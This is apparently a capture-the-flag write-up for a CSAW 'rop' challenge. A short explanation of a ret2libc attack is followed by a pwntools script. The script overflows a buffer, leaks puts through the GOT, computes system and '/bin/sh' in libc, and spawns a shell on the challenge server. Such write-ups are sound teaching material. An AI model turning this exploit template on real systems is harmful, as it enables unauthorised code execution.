The executable was compiled without support for position independent code. Because of this, a ROP chain could be built to leak the address of the puts
function in libc
through the global offset table. The executable was restarted by jumping back to _start
. Using the address of puts
, the address of system
in libc
was calculated, which was used to spawn a shell.
from pwn import *
#target = process('./rop')
#libc = ELF('/usr/lib/libc.so.6')
# pwn.chal.csaw.io 5016
target = remote('pwn.chal.csaw.io', 5016)
libc = ELF('libc-2.27.so')
pop_rdi = 0x400683
got_puts = 0x601018
plt_puts = 0x4004a0
ret = 0x40048e
start = 0x4004d0
payload = b''
payload += b'A'*40
payload += p64(pop_rdi)
payload += p64(got_puts) # leak addr
payload += p64(plt_puts) # print address of puts in libc
payload += p64(start) # restart
target.recv() # Hello
target.sendline(payload)
libc_puts = int.from_bytes((target.recv()[:-7]), byteorder='little') # Remove the second b'Hello\n'
libc.address = libc_puts - libc.symbols['puts']
bin_sh = next(libc.search(b'/bin/sh'))
libc_system = libc.symbols['system']
payload = b''
payload += b'A' * 40
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(libc_system)
target.sendline(payload)
target.interactive()